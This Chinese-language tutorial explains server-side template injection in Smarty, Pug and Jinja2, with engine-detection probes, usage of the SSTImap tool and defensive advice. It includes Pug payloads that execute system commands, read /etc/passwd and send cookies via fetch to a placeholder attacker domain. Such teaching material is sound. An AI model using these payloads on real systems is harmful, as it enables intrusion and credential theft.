本文仅供学习参考,请勿违法行动。
一、介绍
1.SSTI漏洞
服务器端模板注入(SSTI)是一种漏洞,当用户输入注入应用的模板引擎时发生。这可能导致一系列安全问题,包括代码执行、数据泄露、权限升级和拒绝服务(DoS)。SSTI 漏洞常见于使用模板引擎生成动态内容的网页应用中,如果不对用户输入加以净化,用户输入会替代模板中的占位符,被当作模板代码执行。
例如,用户输入${7*7},输出却是49。
通过SSTI,攻击者可以进行:
①读取或修改服务器端文件。
②执行系统命令。
③访问敏感信息(如环境变量、数据库凭证)。
2.模板引擎
引擎使用预设计模板,接收用户输入并存储在变量中,之后将模板和用户输入组合,用实际数据替换占位符。最终,引擎生成一个动态网页,展示在屏幕。
根据编程语言不同,当前的模板引擎有
| 核心应用场景 | Flask/Django 等 Python Web 框架 | Symfony 框架默认模板引擎 | Node.js 生态,极简 HTML 模板 |
| 表达式分隔符 | {{ 表达式 }} | {{ 表达式 }} | #{ 表达式 } |
| 关键语法差异(SSTI 检测) | {{7*'7'}} → 输出 7777777(字符串重复) | {{7*'7'}} → 输出 49(数值计算) | #{7*7} → 输出 49(JS 数值计算) |
| 底层执行语言 | Python | PHP | JavaScript |
| 特殊特性 | 表现力强,支持模板继承 / 循环 | 安全默认配置,PHP 生态适配 | 极简语法,直接执行 JS 代码,无需额外分隔符 |
from jinja2 import Template
hello_template = Template("Hello, {{ name }}!")
output = hello_template.render(name="World")
print(output)
根据语法差异可以判断属于哪个模板。
二、模板引擎
1. PHP – Smarty
Smarty 的灵活性允许在模板内动态执行 PHP 函数,这可能成为重大的安全隐患。通过模板变量或修改器执行 PHP 代码的能力应严格控制,以防止未经授权的命令执行。
一旦你通过 Smarty 确认该站点对 SSTI 存在漏洞,就可以构建一个使用 PHP 函数执行系统命令的载荷。其中最常见的功能之一是 system() 函数,比如system(“ls”)。
2.Node JS – Pug(Jade)
Pug 的安全漏洞主要源于其在模板变量中插值 JavaScript 代码的能力。该功能设计用于动态内容生成,如果用户输入嵌入模板且未经过适当消毒,便可能被恶意利用。
比如JavaScript插值、默认转义:
JavaScript插值:
p Your name is #{user.name} //模板
#{global.process.mainModule.require('child_process').execSync('id')} //用户输入
默认转义:
Pug会自动转义,例如:
< → <
> → >
& → &
如果攻击者使用 !{} 而非#{},Pug就不会做任何转义
攻击者可以
读取服务器敏感文件
#{require('fs').readFileSync('/etc/passwd', 'utf8')}
执行系统命令
#{require('child_process').execSync('whoami').toString()}
窃取Cookie
#{`<script>fetch('http://攻击者域名/steal?cookie='+document.cookie)</script>`}
3.Python – Jinja2(内容不完善)
由于 Jinja2 允许在模板中执行 Python 表达式,因此 Jinja2 的安全风险常常来自于不安全的编码实践,允许用户输入在模板中执行且未经过适当净化。漏洞并非源自 Jinja2 本身,而是开发者如何处理模板中用户输入。在将所有用户输入整合进模板前,妥善消毒和验证所有输入对于防止此类安全问题至关重要。
Jinja2 会解析并执行 {{ }} 中的 Python 表达式,若用户输入未做任何过滤直接嵌入模板,攻击者可构造恶意表达式执行任意 Python 代码,进而控制服务器。
三、自动化测试工具及安装
SSTLmap:检测模板引擎、自动化利用
安装命令
git clone https://github.com/vladko312/SSTImap.git //克隆仓库
cd SSTImap //导航至SSTImap
pip install -r requirements.txt //安装依赖
用例:
python3 sstimap.py -X POST -u 'http://ip:port/../' -d 'page='
四、防御
总的来说就是净化输入、限制权限、检查代码逻辑。
1.Jinja2
- 沙箱锁能力:限制模板能调用的危险功能;
- 输入清危险:对用户输入进行转义或过滤,移除 / 转义像 {{、}}、__import__ 这类可能被当作代码执行的字符;
- 审计查隐患:从代码层面杜绝不安全写法。
2.Jade
- 避免直接 JS 执行:模板仅做纯渲染,动态逻辑全部移到后端,优先用 #{} 而非 !{};
- 输入必校验净化:用 Joi 等工具做 schema 校验,过滤模板 / JS 敏感字符,类型强制转换;
- 配置最小化权限:禁用 Pug 调试模式、Node.js 危险模块,进程以最小权限运行。
3.Smarty
- 禁用 {php} 标签是核心:通过 php_handling = Smarty::PHP_REMOVE 直接删除危险标签,同时启用安全策略;
- 用户自定义模板需封装:仅开放自定义安全标签 / 修饰符,禁止原生危险语法;
- 定期审查 + 更新不可少:扫描模板漏洞,及时升级 Smarty 版本修复已知问题。






